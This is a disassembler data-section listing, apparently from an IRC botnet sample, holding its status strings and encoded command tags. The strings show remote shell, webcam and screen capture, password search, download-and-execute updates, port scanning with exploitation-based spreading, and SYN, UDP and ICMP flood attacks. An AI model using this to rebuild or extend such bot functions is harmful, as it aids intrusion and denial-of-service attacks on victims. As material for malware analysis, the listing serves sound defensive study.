DATA XREF: sub_40EE72+53B2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_435B7C db 2 ; DATA XREF: sub_40EE72+5287o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 unk_435BA8 db 2 ; DATA XREF: sub_40EE72+5271o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_13 db ' Failed to start search thread, error: <%d>.',0 unk_435BF4 db 2 ; DATA XREF: sub_40EE72+5200o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 unk_435C2C db 2 ; DATA XREF: sub_40EE72:loc_414039o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_14 db ' Failed to start scan, port is invalid.',0 align 10h unk_435C70 db 2 ; DATA XREF: sub_40EE72+5108o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 dword_435CE8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EC8o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_435D1C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4EACo dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_435D4C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E89o dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_435D7C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4E6Do dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_435DA4 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C5Eo dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 10h dword_435DE0 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4DE5o dd 2029671Fh, 2BBBB02h aKilledThreadS_ db ' Killed thread: %s.',0 align 4 dword_435E14 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413C11o dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_435E4C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EE72+4D86o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_40EE72+4D6Co aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4CE5o ; sub_40EE72:loc_414B4Co align 4 dword_435E98 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C6Ao dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_435ECC db 3 ; DATA XREF: sub_40EE72:loc_413AC7o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5CouldnTOpenFi db '5 Couldn',27h,'t open file: %s',0 align 10h unk_435F10 db 3 ; DATA XREF: sub_40EE72+4C4Bo db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 73h db 68h ; h db 65h, 2 dup(6Ch) db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5FileOpenedS db '5 File opened: %s',0 align 4 dword_435F4C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4C2Bo dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 10h dword_435F80 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_413A51o dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_435FB8 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4BB4o dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_435FE4 db 2 ; DATA XREF: sub_40EE72:loc_4139F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_436024 db 2 ; DATA XREF: sub_40EE72+4B76o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 4 unk_436058 db 2 ; DATA XREF: sub_40EE72:loc_413992o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 unk_43609C db 2 ; DATA XREF: sub_40EE72+4B19o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 4 dword_4360D4 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+4AD4o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_436100 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4A4Fo dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_436134 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72+49D4o dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_436158 db 2 ; DATA XREF: sub_40EE72+49B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToSta_15 db 'Failed to start connection thread, error: <%d>.',0 dword_4361A4 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EE72+4947o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_4361CC dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_413747o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_4361F8 db 2 ; DATA XREF: sub_40EE72+48CBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_436224 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+489Ao dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_43624C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+488Fo dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 4 dword_436288 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+484Fo dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 4 dword_4362B8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+483Bo dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 4 dword_4362EC dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41363Bo dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 dword_436338 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413631o dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_436388 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+47B5o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 4 dword_4363C4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41358Fo dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 4 dword_43640C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413588o dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 10h dword_436450 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4706o dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 4 aFrame db 'frame',0 ; DATA XREF: sub_40EE72:loc_4134FCo align 4 dword_436494 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+467Do dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_4364C8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+4647o dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40EE72:loc_413465o dword_436504 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_413452o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_43654C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72:loc_41344Bo dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_436588 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EE72+45C9o dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40EE72:loc_413402o align 4 dword_4365CC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4578o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_4365F4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4534o dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_436634 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4518o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_436668 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4498o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_436694 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4461o dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 10h dword_4366C0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4413o dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 4 dword_4366EC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+43A2o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_436710 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EE72+4368o ; sub_40EE72+4E78o dword_43671C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+4341o dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+4330o align 4 dword_436754 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4307o dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_436780 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4299o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_4367AC dd 45444F4Dh, 732520h ; DATA XREF: sub_40EE72+4241o dword_4367B4 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EE72+4214o dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_4367E0 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EE72+41BBo ; sub_40EE72+4CAFo dword_4367E8 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EE72+419Co dword_4367F4 dd 54524150h, 732520h ; DATA XREF: sub_40EE72+4132o dword_4367FC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412F91o dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 10h dword_436840 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+40E8o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40EE72+4094o align 10h dword_436870 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_412EBEo dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_436894 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EE72+400Co ; sub_40EE72+40BFo ... unk_4368A4 db 2 ; DATA XREF: sub_40EE72:loc_412E2Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 unk_4368F8 db 2 ; DATA XREF: sub_40EE72+3FAFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_436944 db 2 ; DATA XREF: sub_40EE72+3F40o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EE72+3E97o align 4 dword_43698C dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EE72+3E35o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_4369B4 db 2 ; DATA XREF: sub_40EE72+3E2Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 4 unk_4369E8 db 2 ; DATA XREF: sub_40EE72+3DA2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_16 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_436A34 db 2 ; DATA XREF: sub_40EE72+3D28o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingFor_0 db ' Searching for file: %s in: %s.',0 align 4 dword_436A74 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EE72:loc_412AFBo ; sub_40EE72:loc_413964o dd 0BBBB0220h, 2002h unk_436A90 db 2 ; DATA XREF: sub_40EE72+3C71o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_436AC4 db 2 ; DATA XREF: sub_40EE72:loc_412AC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_436B0C db 2 ; DATA XREF: sub_40EE72+3C45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_436B54 db 2 ; DATA XREF: sub_40EE72+3BD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 10h unk_436B90 db 2 ; DATA XREF: sub_40EE72+3B4Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToSta_17 db ' Failed to start clone thread, error: <%d>.',0 unk_436BD8 db 2 ; DATA XREF: sub_40EE72+3ADFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Ch, 6Fh db 6Eh ; n db 65h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aCreatedOnSDInC db ' Created on %s:%d, in channel %s.',0 align 4 unk_436C18 db 2 ; DATA XREF: sub_40EE72+3A57o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_18 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_436C60 db 2 ; DATA XREF: sub_40EE72+39E8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSForS db ' Flooding: (%s:%s) for %s seconds.',0 align 10h dword_436CA0 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+394Ao dd 2BBBB02h aFailedToSta_19 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_436CE8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+38D9o dd 2BBBB02h aFloodingSSFo_0 db ' Flooding: (%s:%s) for %s seconds.',0 unk_436D24 db 2 ; DATA XREF: sub_40EE72+3860o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 align 4 unk_436D74 db 2 ; DATA XREF: sub_40EE72+37F1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDownloadingUrl db ' Downloading URL: %s to: %s.',0 align 10h unk_436DB0 db 2 ; DATA XREF: sub_40EE72+371Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartR db ' Failed to start redirection thread, error: <%d>.',0 align 4 unk_436E04 db 2 ; DATA XREF: sub_40EE72+36B0o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 65h, 64h db 69h ; i db 72h, 65h, 63h db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTcpRedirectCre db ' TCP redirect created from: %s:%d to: %s:%d.',0 unk_436E50 db 2 ; DATA XREF: sub_40EE72+3622o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_20 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_436E9C db 2 ; DATA XREF: sub_40EE72+35B3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 6Fh, 72h db 74h ; t db 73h, 63h, 61h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aPortScanStarte db ' Port scan started: %s:%d with delay: %d(ms).',0 aSSS_0 db '[%s] <%s> %s',0 ; DATA XREF: sub_40EE72+352Fo align 4 aSSS_1 db '[%s] * %s %s',0 ; DATA XREF: sub_40EE72+3432o align 4 dword_436F08 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_40EE72+33A4o ; sub_40EE72+43F1o unk_436F14 db 2 ; DATA XREF: sub_40EE72+3342o ; sub_40EE72+5179o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_21 db ' Failed to start scan thread, error: <%d>.',0 align 4 unk_436F5C db 2 ; DATA XREF: sub_40EE72+32D3o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSExploitationS db ' %s Exploitation started on %s:%d waiting %d seconds for %d minu' db 'tes using %d threads.',0 aSequential db 'Sequential',0 ; DATA XREF: sub_40EE72+32A8o ; sub_40EE72+50DDo align 4 aRandom_0 db 'Random',0 ; DATA XREF: sub_40EE72+32A1o ; sub_40EE72+50D6o align 10h unk_436FE0 db 2 ; DATA XREF: sub_40EE72+3163o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_22 db ' Failed to start scan, no IP specified.',0 align 4 unk_437024 db 2 ; DATA XREF: sub_40EE72+301Ao ; sub_40EE72+4F21o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyDScanni db ' Already %d scanning threads. Too many specified.',0 dword_437070 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2FE9o dd 2BBBB02h aFailedToSta_23 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_4370B8 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2F7Ao dd 2BBBB02h aSendingDPacket db ' Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 10h aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o align 4 unk_437128 db 2 ; DATA XREF: sub_40EE72+2E8Do db 6Eh, 